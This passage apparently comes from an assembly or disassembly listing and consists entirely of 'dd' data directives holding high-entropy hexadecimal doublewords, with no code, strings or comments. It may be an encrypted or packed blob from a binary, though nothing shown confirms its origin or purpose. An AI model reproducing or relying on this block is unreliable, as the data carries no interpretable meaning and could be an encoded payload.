0E2E968E9h dd 0BFF23C7Bh, 9BC336CCh, 0F6872CBEh, 0AC8D83FBh, 0EC905DAFh dd 42CC2D45h, 0F21B3C97h, 2ACD26E7h, 2805FC1Fh, 6BA2D137h dd 729C401Bh, 0BF6C3F11h, 1D217F52h, 44BF95A2h, 6E8B9FF9h dd 750D55F3h, 1F7847C8h, 59FCB444h, 7F094904h, 63BDD70Bh dd 0D24E310Ah, 7230233h, 0B52ABF2Dh, 20BB4F4Fh, 5EB536EEh dd 0A20C4FC9h, 4B59E232h, 3AE7FEB2h, 5BA9E384h, 0EC00BBAFh dd 0FA39201h, 5316AFFh, 12FA5C7Ah, 78855C13h, 0F78E7F9Bh dd 74FD57DAh, 0B224D849h, 464B399Dh, 7B47A269h, 2E904D81h dd 1B3680E8h, 4F15ECFBh, 8EC3E8BBh, 42AB5D90h, 40867E89h dd 58BB6851h, 0B1375B1Bh, 0DDBD8E91h, 7E09FF94h, 0D67F9431h dd 0C32C59A0h, 0FD9E66C6h, 423F496Ah, 0E6E243F0h, 0FC8F6BA1h dd 311BB61Ah, 7FF0A244h, 0A0BDD6E0h, 0B7E6BC66h, 6DAB958Ah dd 45B40C18h, 0D98DD69Dh, 8923C97Ah, 502069F2h, 7E9C9AF7h dd 10068DFFh, 5B49B36Fh, 43D36B17h, 0C2219D18h, 320EE00Dh dd 3307F2FDh, 48BF2307h, 0EC212920h, 6E3601E1h, 0ED3EC8BAh dd 1F8BC37Dh, 0B26D8840h, 0E60A464Bh, 443B8083h, 0A5819EFFh dd 0ED039C56h, 14FE1786h, 0C2BED7FEh, 525B699Ch, 0F08C47C3h dd 0DBE43FC0h, 0E357BB89h, 0E865BE8Ah, 0AF0E1B8Ah, 0D5812048h dd 2F5540EBh, 0D17EA0Bh, 4E97294Dh, 99200110h, 3700EB4h dd 762DFAB3h, 3CB23FE6h, 44611F17h, 9F937E7h, 1B4C838Ch dd 0F6AD301Ch, 7EA05A8Ah, 545612A9h, 2ED02CCAh, 0CE94C8CFh dd 302E40B5h, 654B6242h, 0EFA73689h, 8B2FBC98h, 4EDE2EDEh dd 0DEF41AABh, 1674B0FBh, 0E0709B2Fh, 0EFEFA07Fh, 5EFBE70Dh dd 8851F55Ah, 0C8091FB3h, 0CD7EFF72h, 0F74FDA04h, 8180ED23h dd 15952D0Fh, 69E6480Ch, 535075AFh, 5340576Dh, 0A401BB8Eh dd 3095D669h, 641B1DA8h, 0F0BDADC5h, 93283C4h, 5559A941h dd 12254522h, 7F316CCDh, 298B1E81h, 0E4BC09D3h, 7AF62CEh dd 48E73E10h, 0D1370BCFh, 6303005Ch, 14F6F130h, 5EAB2841h dd 43B68277h, 2D461990h, 0EA79DF91h, 75CC6F5Dh, 9FBC6925h dd 0C5E2BBF1h, 51BAFB7Ah, 5CD8676Ah, 34E7FD1Fh, 0B4052A24h dd 0AC41693Fh, 2C87FD71h, 4A32BAC0h, 0A638547h, 0EF55860Ah dd 2A56FC04h, 508FCE6h, 8A0161A8h, 8A1EA84Bh, 0B4058A19h dd 6767713Dh, 5E89C168h, 41CC4B7h, 4F9A6496h, 55A79ADh dd 1759F68Bh, 1462CB55h, 981483ABh, 0E59B9506h, 0C0592AE7h dd 6B463922h, 0E129A0B1h, 0E83D29F2h, 29BE45E1h, 4729E35Eh dd 0CE0697C0h, 0A3C5ED65h, 0CD2B316Fh, 0D2F2E3A8h, 0E635B304h dd 0F63918C8h, 0D8C5D620h, 36F8601Eh, 8B0F0E87h, 0EEC5057Ch dd 8001B6E5h, 0B5AD9D9Ah, 0DC0921E2h, 0F0E3FD76h, 0F9E86BB1h dd 33A60706h, 34D64D4Bh, 0B28FA189h, 6099F069h, 73254FDFh dd 1AD309h, 0A57FB895h, 614074DFh, 0CEE0D3BEh, 0F8565B15h dd 6066F964h, 0EB86E8Eh, 7073C276h, 882BEE0Ah, 7AC60DFCh dd 0D42C30E0h, 0A123C234h, 0F5A3E937h, 0E3C7774Ah, 0E57130E1h dd 3A587444h, 4257EBF5h, 8C9F4EBDh, 84964332h, 736F156h dd 1F406737h, 388290C8h, 829B8185h, 0B90BCB12h, 55A4BFC7h dd 0F8988D04h, 1E5D81DAh, 0E27083Dh, 0A435E291h, 933E92E0h dd 7FD42C0Dh, 5DFCD0Ah, 8E2CB3A8h, 0F587D5FEh, 19109EBEh dd 0AEF76B74h, 4BF5B0D9h, 74F35611h, 0CA9C6EAAh, 71224B63h dd 0F97DE7Dh, 971E0DCDh, 90271EC4h, 0EC508ACDh, 0B6416890h dd 69204A67h, 88C05312h, 9C8F3597h, 24B82427h, 0EC05F9BCh dd 255E24E1h, 41428C0Bh, 0F52732CEh, 2D71401Dh, 738EF1C6h dd 0FFFD7D62h, 86FDFED2h, 3EECC01Ch, 1367FCDFh, 6BE01173h dd 1840AB3Eh, 584B8E53h, 385C7D91h, 0F1A3BE6Eh, 0FC28BBBDh dd 0C154EC47h, 5D394145h, 2C0C0521h, 0E329B1F2h, 0D5721558h dd 0B85B8FF5h, 0B9A32D97h, 334BD4C7h, 0F0D3E6DEh, 3B43DD18h dd 0AFC15A4Fh, 815ADDAFh, 9B784752h, 95A3E13Ch, 49E37E8Ch dd 2860690Ah, 0B7CA4FA5h, 7EB2CFFCh, 16828999h, 4CAB8E45h dd 5736306Bh, 5387B455h, 2A6340DAh, 659863E4h, 6B2679Dh dd 0A7E3115Dh, 0C5C2B979h, 57DCF080h, 0CA3E7A8Ah, 32B03D2Bh dd 85E507D6h, 0C9127267h, 70F75DF9h, 0E8B338CDh, 80749571h dd 727B5F7Bh, 15B7D8FBh, 79155587h, 65996437h, 0C26F11Ch dd 98183F6Dh, 71EB97E2h, 98F4E4EDh, 763B25Ch, 4092E9Fh dd 0B4151F13h, 1C99FC28h, 76F46C96h, 8E524F1Ah, 58460F7Eh dd 9DA0C398h, 0F03B3865h dd 0E793075Fh, 3BECFF0Eh, 5E59B6D7h, 0C65930CBh, 48AA9565h dd 8E9ADCECh, 48BC85E5h, 6CA0E8CEh, 0C668B794h, 1D3C5BE5h dd 13A00B42h, 0E30679CEh, 2522E2F3h, 23F25C8Ah, 85252530h dd 722987F8h, 0B425241Fh, 995E77DEh, 61CD3A96h, 0C3EA4D96h dd 0EB360327h, 0A57A99D3h, 6D3B39B1h, 0E7EB9C43h, 68942A35h dd 0FCF85991h, 3BC3234Ch, 9810A779h, 3E2C41BCh, 9E68EA7Fh dd 0DC15EBB9h, 562E2AEAh, 8E48A70Fh, 9E5B6149h, 0A2154893h dd 0FC2C73D5h, 14CF837Eh, 7EED57D3h, 4E84B411h, 53EE04h dd 0CC02F024h, 3E6DAF1Bh, 0EA5F4D3Eh, 7305EED5h, 0FD521C99h dd 94942080h, 564BF220h, 6592B6B5h, 90BD7948h, 72D125Ch dd 0B000D18Dh, 0B54A2050h, 1CE35FE6h, 0A2EE9D05h, 736BFD9Ch dd 8457F280h, 0E822606Dh, 0D6FF84CAh, 6CE7DB62h, 0EC6CD25Dh dd 0A32C25CFh, 0BF10347Fh, 6C96B352h, 0FEE6A47Ah, 8197293Bh dd 0EFC889E6h, 9B6FBBE4h, 0EFF4F063h, 0C1F816A9h, 0FC13F3DAh dd 0E0D42A25h, 3D99AFD2h, 4A11885h, 0A1F69231h, 349C6A56h dd 55F38CE0h, 0E66A7BB0h, 173C0B91h, 0BF696EEBh, 79228309h dd 89347EF7h, 7A0EC14Ch, 0A8527D7Bh, 0A8AF969Eh, 0DA75FFDDh dd 4722F85Dh, 0E8D1B35h, 0D2BD026Eh, 0F47E8A12h, 709DC472h dd 0F194074h, 4684DE39h, 13982615h, 0B64699FBh, 7230D381h dd 8FDF1690h, 0C5244722h, 0E86B28B8h, 21A654B4h, 0A82BEF88h dd 9ACD15Bh, 0D8C17605h, 0D9D31996h, 8E947DEEh, 2CC42FBFh dd 0EF4046BBh, 0F1096EA4h, 3605895Ah, 0F42AF3FEh, 61E3084Ah dd 30088AABh, 614E7402h, 389D3D41h, 0FD077D30h, 0A386B219h dd 8BC0A184h, 202A17E0h, 0F1F28D1h, 2E17F5h, 4DB34F62h dd 7B9BE759h, 0CAC3D864h, 0E4A4C768h, 86AD6F76h, 26FCAEDCh dd 3EB19DFBh, 2E936BC6h, 0DCB2CB01h, 8EBEE43Eh, 1B9F6384h dd 0C1C7A2B7h, 0D10A32DEh, 2B73C16Bh, 3FF4AA37h, 3E41ED65h dd 0A45CB940h, 3A8529FAh, 2E0D15D6h, 9D97C066h, 0BAB2ABE7h dd 7B4FBC44h, 7C80F68Fh, 2B0FD9D3h, 0CF7E5849h, 0DA937DCEh dd 0EC7E880Ah, 0B05CF783h, 26BA1252h, 2FCB3E6Eh, 0BA84A9Ch dd 1A9F05C2h, 0B54F9079h, 0E69185CDh, 13BE9903h, 60379365h dd 0A4117903h, 222F7160h, 0AF867753h, 0F004C66Ah, 2EC13160h dd 647D8BDAh, 0CF7A1B1Ch, 0A639C6CBh, 0B526C542h, 6BCB7616h dd 33F5956Bh, 9AF4E2Bh, 48D2603Bh, 4391086Bh, 7A8990C5h dd 9E9B8A09h, 0C6F16A20h, 0F6E0C242h, 2CCCE096h, 0CDC738BBh dd 4F583061h, 0D637C485h, 13E8584Fh, 0F2933503h, 0DA5CE9DFh dd 33CF26C1h, 43ED6D31h, 7FA59D5Ch, 4C9BB8CEh, 0AFEB6C0Ch dd 20697585h, 7D4DCA5Fh, 3F363FB6h, 7A88DBC9h, 0E982F643h dd 1F87ED71h, 85331BC8h, 1DA82B77h, 0D8549238h, 3BB0DBE2h dd 0FC169D1Eh, 32142F43h, 873A9B73h, 97EBEF5Ch, 28047445h dd 0C7D128Ch, 13F667F0h, 918F6C2Bh, 47C611E2h, 366C6700h dd 208BC059h, 0A04C59C9h, 2F944434h, 742223B1h, 0A6E61CACh dd 0C89EBF66h, 0D59BF787h, 0EF75029Bh, 904CE6DBh, 0DB3CDEA7h dd 8A6C495Bh, 55146C9Bh, 3810AE6h, 55F75DACh, 0D020EF2Dh dd 0D7AB6B5Eh, 4E1F60E6h, 29AE28A1h, 0F1AE4B7Ah, 118B3930h dd 0A62369B4h, 2AECB8F0h, 16928E78h, 0E693EA28h, 0A601EACEh dd 94E31B85h, 7AE86762h, 0B19B7CABh, 3833B8A7h, 3C9EE4ACh dd 0FCE047AAh, 0A631A454h, 330E3C00h, 88FAD28Bh, 7962150Dh dd 0E26572FCh, 0C07BD096h, 54B33DCh, 1507C281h, 8187E823h dd 0E5DA8333h, 0F447126Bh, 721EF5A4h, 87C4CBFAh, 9FB5DF74h dd 2EA1E864h, 56052159h, 55A925F5h, 18CD7823h, 39F01BA9h dd 0A62C9CE0h, 0FE2BF093h, 0A773EDC8h, 0BBB13682h, 0E0AC43BBh dd 81071580h, 2E4E8D8Fh, 0E1FBD6EAh, 116A6FF7h, 781C141Eh dd 0DED45E24h, 0CF95CB5h, 0CE51EABCh, 5DAA27FDh, 55585248h dd 27C648DFh, 6837813Eh, 6305936Dh, 0EF947E6h, 4372E11Eh dd 0CA6005CDh, 0C95689B6h, 8D5776E6h, 1ABECC1Bh, 16A27AAFh dd 1292CD50h, 0ECBBA66Bh, 0F9210BFCh, 0CD0BF749h, 32B43ABCh dd 8CC6A1A8h, 0E5975214h, 1242E55Fh, 0B7C380B8h, 0ADBB50Bh dd 27879849h, 44AC07D8h, 0B40FC80Ch, 9F2E5EDBh, 495634F1h dd 0C2866FC7h, 43664CC2h, 0B0BCCF84h, 4A49DA25h, 7FDAA47Ah dd 0AE33ACC8h, 56B3FDCFh, 0DC5B272Dh, 2F9D34BBh, 7247C57h dd 78DC629h, 0D259DE2Ah, 19D4CF0Ch, 768DB443h, 29EE7B35h dd 0B9D87ABFh, 0A8B4D0E7h, 7681828Bh, 5370268Eh, 0A4E926C0h dd 0F775CBC2h, 0F674F9D8h, 0B1DF9FCEh, 0C05AA9C7h, 6EC3D81Bh dd 5B87A869h, 0F6370F0Dh, 4A350F4Bh, 9AD38AADh, 6FBE509Ch dd 910C3856h, 86CDEA3Ah, 0F2A3B31Ah, 0CE4FFAC5h, 5E10C1E7h dd 21D6B25Bh, 23A14EB1h, 704CA23Ah, 0E18ABCDAh, 0CED49238h dd 17880591h, 6AD5D654h, 0CEE623Bh, 1DFF0E7h, 72FC7FF9h dd 5DAF1E28h, 19D62C3Ch, 6C81BF88h, 72E75D58h, 0F22CEF8Ah dd 0F9C4806h, 0BD7464D6h, 370529C1h, 119E05B4h, 2998D76Dh dd 0AA8D890h, 0B2F16FE6h, 3D5C365Ch, 67EE051Bh, 1A0B0645h dd 1B75E0C3h, 4F3B1F4Ch, 0E64FB031h, 7D6D91E2h, 44EDF3D2h dd 85F30314h, 440729C5h, 1EFCECEh, 46A2EDF0h, 0FC1549FFh dd 8705781Bh, 0CAAB6ECAh, 31F18939h, 8713F835h, 526EF51Fh dd 0E34552A7h, 910FC298h, 65742E69h, 3225981Bh, 81B330E5h dd 0E7B4613Dh, 3DDC752Bh, 7D22805h, 112B37E9h, 1F682027h dd 0CA2140CFh, 62EC6B82h, 0AC8AFEECh, 0E8C6CEFFh, 0A4166143h dd 85F09B2Eh, 0CBAB8E87h, 0D8932765h, 514DB5C6h, 0DFB79B11h dd 0A5B7C7A4h, 0CFE4283Fh, 0BB57635h, 893F2808h, 0F1231E63h dd 82C26B0Dh, 0B1A7BABBh, 82491B1Bh, 0D3BFD59Dh, 7A914E1Ch dd 0B26903B0h, 0BC759616h, 72C205B0h, 3E710FBCh, 1CF3E3D0h dd 9269EBB1h, 53BF9EC3h, 0FC2D8255h, 4A4975C5h, 0FC49710h dd 0B3E4D72Ch, 0E2BA9369h, 2528AE39h, 25C4EB8h, 489064C6h dd 0E537E9BDh, 0B1FAB1BEh, 0EDE849D9h, 0F6967D35h, 6D97916Ah dd 0DDCE1015h, 69FAA599h, 7FD92A59h, 55A548C7h, 9C788CB7h dd 0C2461291h, 9205614Fh, 0D8A67EF3h, 0DBF1BF22h, 7C84BA0Ch dd 0E10DF534h, 0B80F4D66h, 3F9C8D73h, 5FED916Bh, 0B513D723h dd 0A293C674h, 0A048C415h, 0E8BA55D5h, 47EE28F3h, 288FEDFAh dd 0FC5F62EBh, 3C6D6ABAh, 76881A01h, 0EA24CC9Eh, 0DF220861h dd 0B0F485A0h, 0D9E6BDE8h, 0E4BCA968h, 0D51D3BDFh, 381080D2h dd 2F7C4F19h, 0DB271F59h, 3F863D6Eh, 0A914445h, 6F4D4C58h dd 0A77BE144h, 0BA5E3138h, 8EA91C4Eh, 646CD8BEh, 4C4796EAh dd 0A0B23106h, 5161D04Ah, 0EEBC27DEh, 0EC71B3EEh, 47C86670h dd 376E49BDh, 2DA8787Eh, 2E42FDAFh, 1995AA74h, 6F1809E0h dd 0A5321262h, 8A65BD4Dh, 624B5DACh, 92AA4A52h, 0A213349Bh dd 77CAF5FAh, 0D17BFF73h, 0A2936AA5h, 0E75195C0h, 0B35EE3FCh dd 0F33D0889h, 0BAC94EBDh, 522263DDh, 0D5334398h, 8DDBFFCDh dd 0C8907287h, 7D65173Ch, 0F223AFD0h, 0BA707B31h, 23AFB01h dd 1C9A56Fh, 46B3A340h, 0BA58D29Bh, 0A33BE516h, 6DCC05ECh dd 0D53AE993h, 0EB208044h, 98380AEDh, 76843466h, 0C8FAA5A2h dd 306B22D5h, 0C6BD786Bh, 1DE3CDC6h, 69822A64h, 2D1EFF94h dd 1381ED88h, 11B23A30h, 0A5CF1018h, 339AFB58h, 1F37D7D4h dd 2634606Fh, 0BEDD9A80h dd 0EBEC878Eh, 4E9DE6C6h, 59EB10C5h, 4AA483A6h, 716CBD90h dd 611692D5h, 0A9919AAEh, 966FF398h, 0C5FC0DFCh, 6D83996Dh dd 0DCE30386h, 0B4333572h, 918CC5FBh, 0AF8EE505h, 0B7CBEE55h dd 0AD197A6Dh, 5078657Eh, 369D2EABh, 0BF902913h, 78F04F87h dd 7C40C7C3h, 0DB1CF6A6h, 0B1A4639Fh, 5DE890D9h, 0D75AA1A4h dd 0DFB89077h, 80D404CFh, 9B7D303Eh, 41BC666Eh, 0A908B9FFh dd 0B24DBD5Fh, 6BC80398h, 0B0BF3545h, 32BCE5A4h, 6CCBC8DDh dd 5EDF6305h, 0C55E8B3Eh, 0CCA3FF90h, 0F315EE78h, 76186FB5h dd 0C0FA234h, 35EEED3Ah, 3B111793h, 0F66C81BAh, 4E06B913h dd 0BF6AF837h, 2304097h, 0E6131E9h, 54F878FDh, 2EB9D9C1h dd 0EED299Fh, 6C3AADE6h, 0D9357E12h, 8D4E9191h, 0F7870AACh dd 0F97D7732h, 0C2EF95Dh, 18B15A91h, 4112CAA3h, 4411C711h dd 0C9755A2Dh, 4B293870h, 81D22F29h, 0E62CBF9Fh, 0BC47B5B3h dd 128E235Ch, 0FD88AEE4h, 28EDAAC5h, 0D288F4D6h, 9304E680h dd 9C990045h, 46645BAh, 0A17AA7E2h, 0F4B07BE9h, 0E7ED8D81h dd 0DC9FD8EEh, 0B4B2350Dh, 0B06B79FBh, 2A4825F1h, 26BCCF51h dd 8F26D585h, 84A828A1h, 9D932A9h, 94630322h, 4B8EDB93h dd 0CA3FFA30h, 0CB6A9290h, 3CDB4741h, 3E4CBFECh, 7B95A131h dd 95ECFB3Ah, 0FE02F416h, 5133FDE4h, 4CE131A6h, 88254CA5h dd 36F3C22h, 0A668DDFEh, 0FED9FE4Bh, 0A334A8B7h, 0F97DBA5Bh dd 1E21536Ah, 0A51751CCh, 0D7070DE3h, 0A82A6595h, 0C86C8353h dd 1AF3FC9Ch, 0A0FA8465h, 0A28D9329h, 0D4801E67h, 1F834323h dd 2195AAF9h, 567856h, 77A70564h, 0E0233960h, 6241F447h dd 1B35B84Ah, 0FAA164E7h, 2C760BC1h, 3A2A2158h, 0B36E9653h dd 2AF00E5h, 9C60DDB1h, 0E8816ECCh, 0DA3BD6CEh, 0A48ED46Ah dd 4B040911h, 73FA7B9Eh, 0AD67F6EEh, 9EEB7418h, 0A7C32799h dd 129A9E2Ch, 9176FA29h, 5F4D5537h, 61BA1418h, 0DE5E2CA0h dd 5CE56A97h, 3E421EDDh, 91D3E702h, 5ABE0BB8h, 0E296EA95h dd 7923591h, 3E0857E5h, 82679B6Dh, 0BD54560h, 0F8F3DCB1h dd 25FC639Fh, 39580FC9h, 5F52F6Ah, 83811199h, 31DCD05Ah dd 156BFFD3h, 8CEE8A87h, 90A50AE7h, 0E093920Eh, 0DB958567h dd 0A15F27F5h, 140F9D1Eh, 0EAE65B0h, 41581FBEh, 7A77F550h dd 0F2090933h, 7DCBAC86h, 0ECBA2F51h, 72BC5779h, 0A93CA100h dd 755C37DFh, 0F56AC876h, 91ED6565h, 0B5D7742h, 114227FAh dd 64BC33B7h, 639A7422h, 0E8101FFEh, 84E4014Ah, 3C89F8B2h dd 9E029437h, 9F077D4Bh, 448D19B6h, 0BBF12043h, 44E1D484h dd 0E044FF60h, 63442DD9h, 52A3541h, 7BD83B73h, 0DC635AFDh dd 57A3BC34h, 0D334735Ch, 34D7949Bh, 9519856Bh, 6705AFBh dd 0FD3E702Eh, 7B299DB2h, 0C78A4802h, 0D91A6359h, 736AF9ECh dd 0B3E5479Bh, 0D7841BE0h, 0B976F5h, 0CA540034h, 0A256A8F8h dd 1BC1796h, 0CADF25CDh, 0FBD89327h, 0C4E716CBh, 46D6A63Ch dd 8BDA3CC9h, 0C79C5154h, 3229F7E2h, 2DE421BCh, 0F3A9DF16h dd 0B4C037D5h, 0C5D0069Fh, 37DFEF2Dh, 0FD9230EAh, 507EFEBAh dd 0F017175Dh, 91291BE7h, 0B3005E79h, 7F7F9A87h, 0C9A43D9h dd 43DCB596h, 9FB1B97Bh, 6D041911h, 2E69B8DAh, 3DA04BB2h dd 702E33F8h, 83EB3FC7h, 28029B84h, 0B446D0E3h, 725E2F93h dd 0DB0A8D4Fh, 0D8F79BAAh, 45035006h, 0E10A7059h, 47C3238Fh dd 0BA426DE0h, 6144183Dh, 0EEF9CFBBh, 5A034934h, 80C4D78Bh dd 0C5F13969h, 0E506375Dh, 8178CE30h, 168AB037h, 0D646D159h dd 5572F2CFh, 17D6E25Bh, 71C97504h, 8FFCDB51h, 0F7D737EEh dd 68099945h, 0C821371Bh, 0DDB4C741h, 8AC2AE8Eh, 8D3639CBh dd 7442CA83h, 0D353B4F6h, 293213A4h, 17832FEFh, 0E7F47EBBh dd 0FEBD80A7h, 819435A9h, 0C1F10C2Bh, 754F2FF5h, 911E8926h dd 87CBE457h, 4A443144h, 0F82FCEA7h, 61DCD468h, 3CDF2026h dd 0F233FC3Bh, 80E2B3A1h, 30CF0F2Ch, 0F6AC101Ch, 6B3F0AF6h dd 0D293AA7Eh, 40248C5Fh, 1907BE91h, 10977203h, 0E32E72A0h dd 0AF90C5B8h, 0D63A3FCDh, 0F33CD3D6h, 95B68127h, 7D00AB4Ah dd 4D5CB28Bh, 68F75B4Ah, 97A4B978h, 5F7E16A9h, 0CD3D969Bh dd 6225CD96h, 0ED26543Ah, 3C4C376Fh, 0B9D042E6h, 4EF05F78h dd 5C8B1A0Ah, 0FB0F5922h, 0E5A549Eh, 1121B2DAh, 5A78B7A7h dd 0F88DDAC7h, 0E5169A65h, 9E815477h, 743FB2F6h, 45462EFCh dd 88BEC3BDh, 0D838286h, 84D9C1BBh, 24C9EBBAh, 146C44F4h dd 626A6B07h, 0C0191D1Fh, 98D3DDB7h, 0B9F91A03h, 0B213632h dd 639C1B20h, 0F0F8E527h, 0DFBAE56Fh, 588A93DAh, 13C6903h dd 5B74873Ch, 3C8AF0E3h, 19AE5C81h, 3F18A3FEh, 0AA8AD98h dd 0CFE5EF60h, 0A30CBF6Fh, 0A2BFA194h, 0F08CCDBCh, 0F3D5373Dh dd 2645307Dh, 0EDD5DC64h, 0EA5056D2h, 0AE08BAFBh, 0AB6B1FDEh dd 73BA9331h, 0F02DBEFh, 53DCB570h, 1F42FF3Bh, 0ABD3E76Dh dd 71F2FF9Eh, 0F0124281h, 4832FDA9h, 6A209DA1h, 0A415D020h dd 4963A4B8h, 95001E5Ah, 452EF51Bh, 0E70A41E1h, 4D1DF469h dd 0D72971FFh, 8609F479h, 0CD9E442Eh, 5D44EED4h, 0D8FEFE61h dd 0E056EFEDh, 0E2882438h, 55BBD5F1h, 6F110206h, 86A450D1h dd 623D6AE0h, 77991ACAh, 0BFFDFE7Eh, 1EF325DBh, 8116D76Eh dd 0C9337F8Ch, 5A02AA1Dh, 0CA71F2BFh, 0BA4D010Eh, 1301B560h dd 606DB900h, 4E6263CFh, 3C6307DDh, 7E63219Eh, 4AB6B64h dd 0E41CA253h, 4E7D24A9h, 5DB49ECCh, 0CC680E10h, 85ADA575h dd 302D8241h, 35C61279h, 6470A292h, 7D00F16Fh, 1BFF159Bh dd 0F49AE20Fh, 0AE1383ABh, 6D3DC802h, 52A0214Fh, 1532ACF8h dd 1E17D3DDh, 0E3A954F1h, 7ECAB52h, 5E3F3C43h, 0AF63522Dh dd 0B34DDADFh, 994194F9h, 0A746F2F8h, 0D3DB2B1Ah, 0A70F9401h dd 7B98B203h, 17E20CB8h, 462C36FEh, 0A5512D33h, 0CE65A070h dd 1C0C7BFEh, 5DFE49F1h, 25C5B017h, 8AACB740h, 48EE4648h dd 43BBB880h, 949A5FB8h, 0FDF5D05Eh, 0D3458561h, 0D4589F0Ah dd 0B19C91D3h, 0F6448D29h, 6CFB441Ch, 2893F05Fh, 0A23AA0D5h dd 4D590234h, 965DE79h, 0B5722109h, 0C0471A99h, 5792EE11h dd 7B9C1E83h, 46976A1Bh, 0C97640A6h, 53505B75h, 8559586h dd 686C35E4h, 65AD6C62h, 2D3EE54Bh, 506BAC5Fh, 0DA0A6B51h dd 1A21C092h, 0B04496A4h, 0B79797C1h, 0BF4B5EF6h, 1B099B6Fh dd 7EFD1D6Bh, 0FCABA412h, 9D34B52h, 87DCEF52h, 87090EFAh dd 32BB445Bh, 617653DAh, 61A4255Eh, 0DDD2A34Fh, 22AF87F0h dd 10CDBDF9h, 0FD9DD6C1h, 192E1824h, 0A9DFD902h, 61273671h dd 7E8E6682h, 8772600Dh, 0C7C0BB43h, 0B347E2A4h, 0BCAC5B3Bh dd 6A77ADF2h, 70614BD3h, 0B9604C7Ch, 27B9D1Fh, 5C5D52B0h dd 5910D47Ah, 0C0E1A6BBh, 976526F8h, 0B594ED97h, 80FE62BFh dd 57AE06h, 7CF61D4Bh, 0B323047Ah, 0CF731AF4h, 0B59BB5CDh dd 4D8C58Eh, 14E67808h, 8D3B3D9Ah, 8FA393CAh, 72F90B9Eh dd 2894067Eh, 0D85B2D5Ah, 0DA62F7C5h, 5DC81A93h, 0C132E628h dd 78529B30h, 0C2B5739Fh, 8FF56736h, 8FE0CC79h, 0B62B9E58h dd 169689CBh, 5E672C7Bh, 3850A3ACh, 199FECA0h, 3A4D921Fh dd 9D68A24Ah, 8601E9FEh, 0FBB70F18h, 2D59FCDEh, 36E4AD10h dd 0B9F44D1Ch, 0E45C8FB4h, 10214E37h, 633008B4h, 3A2A983Fh dd 0CBB86874h, 0FC5F2A11h, 0D96370A5h, 9B83B2Ah, 0B025610Dh dd 4864C98Dh, 70BA76A7h dd 1DFDEA57h, 84E23F41h, 49A75265h, 0B1FD56E4h, 0E9647C11h dd 423223CAh, 618BA6E5h, 56EAADFDh, 0E8D48F6Dh, 99D9BEB6h dd 0E38C51A9h, 111B526Eh, 79DCBEDEh, 34814BFEh, 251A2290h dd 0B56E229Fh, 3915DB8Eh, 0A056ED7Ch, 0FBCFD603h, 7731C672h dd 562FC903h, 0D210A09Eh, 8C19525Eh, 961739EFh, 73C9C391h dd 0EBEDA0C5h, 7F8950A1h, 507F007Fh, 0B3C10C5h, 66751878h dd 965304DAh, 3FAF9800h, 7AB221Dh, 0FE3DCC36h, 703D5299h dd 914109A5h, 71A9C832h, 9B657AF2h, 0FA24D880h, 2356CB5Fh dd 89CA039Bh, 0AB3D79FBh, 6B681E2h, 68CFAEC7h, 0FAD22F5Dh dd 0BBA80C14h, 5CC2FABAh, 41E04472h, 0FC9691A3h, 869B2611h dd 0EEB21CCEh, 590CB1BFh, 0BA2B6671h, 90C62B35h, 0FA455F96h dd 0ED46A963h, 0CAC681A2h, 3C13261Fh, 9448E3B1h, 263614F5h dd 5FD27CAEh, 0BBDBB385h, 0D672FECBh, 9400A379h, 0D85BEC30h dd 0C2CFE26Dh, 73677C9Ch, 11C33CEh, 2C8B00A3h, 4F7A5452h dd 0EEF2492Bh, 6752E91Fh, 7F8583A1h, 0F6D4FF47h, 161BF4A4h dd 7245D883h, 0B28D02DEh, 71F0C687h, 0D8B5E0D9h, 65A97257h dd 641DDF1Fh, 7AEA6F3Bh, 42B09C15h, 445AC200h, 0E6CF29A4h dd 44E04621h, 0FB951CA6h, 3584164Fh, 0F92B3BC7h, 6D9044B4h dd 0B97CD035h, 7D4F9745h, 0F7236A11h, 2722761Fh, 0B28F5F8Ch dd 2A38FC26h, 0A544488Ch, 62B7178Dh, 29D0C634h, 40CCA189h dd 1CF7FC70h, 8F97364Eh, 3836E3C0h, 76B04BA0h, 8938A9B4h dd 79FC06DEh, 0AC02FDF0h, 0E4A692E7h, 8970A1DEh, 85E4A180h dd 0FF72E3CDh, 2956AA12h, 630CE807h, 8F127B19h, 656BE9C1h dd 0DB569162h, 0C252ACF3h, 71D456B5h, 0AC466476h, 936CD38Ah dd 0FEF6A2FDh, 245AFECAh, 0C97130BFh, 0FF302759h, 796118D4h dd 45E72446h, 0FE58EC0Ah, 7908EAF4h, 1E74534h, 0E150C361h dd 0C63F176Eh, 6EDB1F6Dh, 0CB7243A4h, 1754C969h, 0B56B8BD2h dd 0C905D63Bh, 0F7AE15h, 49C5662Eh, 638C9CC1h, 0FCDB71D0h dd 4EECCE70h, 746BD888h, 7FBD376Eh, 2C532220h, 0E529A9B9h dd 93A2F32Ah, 0B5C8EDB5h, 0A76C0B74h, 0B6EC1606h, 0C970F7AAh dd 83FD1537h, 0CC023659h, 0DA8A8711h, 23537498h, 0D190EDE0h dd 73CD48DDh, 0DA7508D8h, 93E1D7FEh, 0F40C7228h, 1AF903Fh dd 1BC74028h, 0E3EEA3EBh, 5059E18Bh, 0AEBF8839h, 72D5C10Fh dd 886F8794h, 64797C7Eh, 0BD6FF73Dh, 190C1307h, 8D3C2BE4h dd 11023C75h, 0DE14634Eh, 0D5C3CF6Bh, 0E0DCC94Fh, 0E2A87995h dd 0AA4FAABBh, 0D56C32C4h, 0DAA22770h, 0F8993E52h, 6C2A8FAAh dd 4F758BE9h, 0C012CBB4h, 0FDB5C15Bh, 130BDD21h, 95E6B2FDh dd 909DC91Ah, 0AA6B5BF3h, 0C9F8EEA3h, 0CCE69696h, 9048B4F0h dd 3CC57611h, 43E3BB1Ah, 0DDB140F8h, 0DB93B3BAh, 0AE6929A6h dd 0EDA380Eh, 0A0FFB7h, 0AA6AAC89h, 0CC0FC5Ah, 6403E57h dd 8405A81Ah, 0CF5667EEh, 0BA2A4F50h, 0C561838Eh, 9355557Bh dd 17B19B86h, 33B7A674h, 4300A893h, 34AF46ACh, 93F76ADFh dd 60F0ED12h, 0F1DE8DBBh, 3EABD9B0h, 6CB3E670h, 17CEFB21h dd 0A2976670h, 81AE4630h, 0E2E9273Ah, 386A2BEh, 0CE5FDD3Eh dd 0F4C35C8h, 8DBEF3AAh, 355F0290h, 55257BC7h, 4C49A973h dd 49B55356h, 0F09888DDh, 74DFB96Eh, 2B4E6A7h, 0C85210B6h dd 0A1EA0AEEh, 6DAA4996h, 0DCF71470h, 15EE107Ah, 9E3F1533h dd 0BDD05C77h, 25B169FBh, 21071715h, 530292D7h, 30E691DAh dd 0E6E7D511h, 7F55A957h, 0B7AA27EBh, 0AEB2AF42h, 51BAB646h dd 349B3870h, 